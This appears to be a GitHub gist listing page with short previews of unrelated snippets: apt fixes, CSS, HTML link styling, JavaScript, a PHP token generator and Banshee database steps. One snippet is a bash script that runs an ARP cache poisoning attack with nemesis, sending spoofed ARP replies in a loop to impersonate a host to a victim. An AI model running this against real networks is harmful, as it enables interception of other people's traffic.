A list of all the inspiring work I get to see around the web. Starting this document as a gist, might take it to my blog later or it might soon end up as a repository.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get clean | |
cd /var/lib/apt | |
sudo mv lists lists.old | |
sudo mkdir -p lists/partial | |
sudo apt-get clean | |
sudo apt-get update |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Flatten das boostrap */ | |
.well, .navbar-inner, .popover, .btn, .tooltip, input, select, textarea, pre, .progress, .modal, .add-on, .alert, .table-bordered, .nav>.active>a, .dropdown-menu, .tooltip-inner, .badge, .label, .img-polaroid { | |
-moz-box-shadow: none !important; | |
-webkit-box-shadow: none !important; | |
box-shadow: none !important; | |
-webkit-border-radius: 0px !important; | |
-moz-border-radius: 0px !important; | |
border-radius: 0px !important; | |
border-collapse: collapse !important; | |
background-image: none !important; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<h1>Styling Adjacent Links</h1> | |
<p class="contrast">People like to remove link underlines because they are seen as ugly. But, people also <a href="#">like to do that thing</a> <a href="#">where they link up several adjacent strings</a> of text or <a href="#">even</a> <a href="#">make</a> <a href="#">each</a> <a href="#">word</a> <a href="#">a</a> <a href="#">different</a> <a href="#">link.</a></p> | |
<p><a href="#">Linking that way</a> <a href="#">lets you fit a lot of info</a> <a href="#">into a small space.</a> <a href="#">But if you are removing the underlines,</a> <a href="#">it becomes hard to tell</a> <a href="#">that they are even separate links.</a></p> | |
<p class="underline"><a href="#">You</a> <a href="#">could</a> <a href="#">just</a> <a href="#">leave</a> <a href="#">the</a> <a href="#">underline</a> <a href="#">alone.</a></p> | |
<p>But, if you insist, maybe you could at least give every 2nd link a slightly differently treatment so that users can tell them apart?</p> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Implode/Explode Approach | |
function queryString (str, param, value) { | |
var output = ""; | |
splitString = str.split('?'); | |
baseURL = splitString[0]; | |
params = splitString[1].split('&'); | |
ctr = 0; | |
params.forEach(function(p) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* The API controller | |
Exports 3 methods: | |
* post - Creates a new thread | |
* list - Returns a list of threads | |
* show - Displays a thread and its posts | |
*/ | |
var Thread = require('../models/thread.js'); | |
var Post = require('../models/post.js'); |
- Close Banshee.
- Backup your
~/.config/banshee-1/banshee.db
(copy it, do not move or rename it). - Execute the following command:
sqlite3 ~/.config/banshee-1/banshee.db "update coretracks set LastSyncedStamp = 0 where PrimarySourceID=1"
- Start Banshee. It should now update your folder and file names. It takes quite a long time, depending on how many files you have. You can see how it's working in the bottom left corner.
The above steps come from http://askubuntu.com/a/48490/107558
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Generate an encryption key for CodeIgniter. | |
* http://codeigniter.com/user_guide/libraries/encryption.html | |
*/ | |
// http://www.itnewb.com/v/Generating-Session-IDs-and-Random-Passwords-with-PHP | |
function generate_token ($len = 32) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# perform an arp cache poisoning attack with nemesis | |
# http://nemesis.sourceforge.net/ | |
[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0 | |
while true | |
do | |
nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
space: 00101010 | |
pong: 10000001 | |
simone: 11010011 | |
eightbit: 01010011 | |
song: 11011011 | |
synth: 10001000 | |
ascii: 01111111 | |
bowling: 01110101 | |
rocket: 01000101 | |
burger: 00111001 |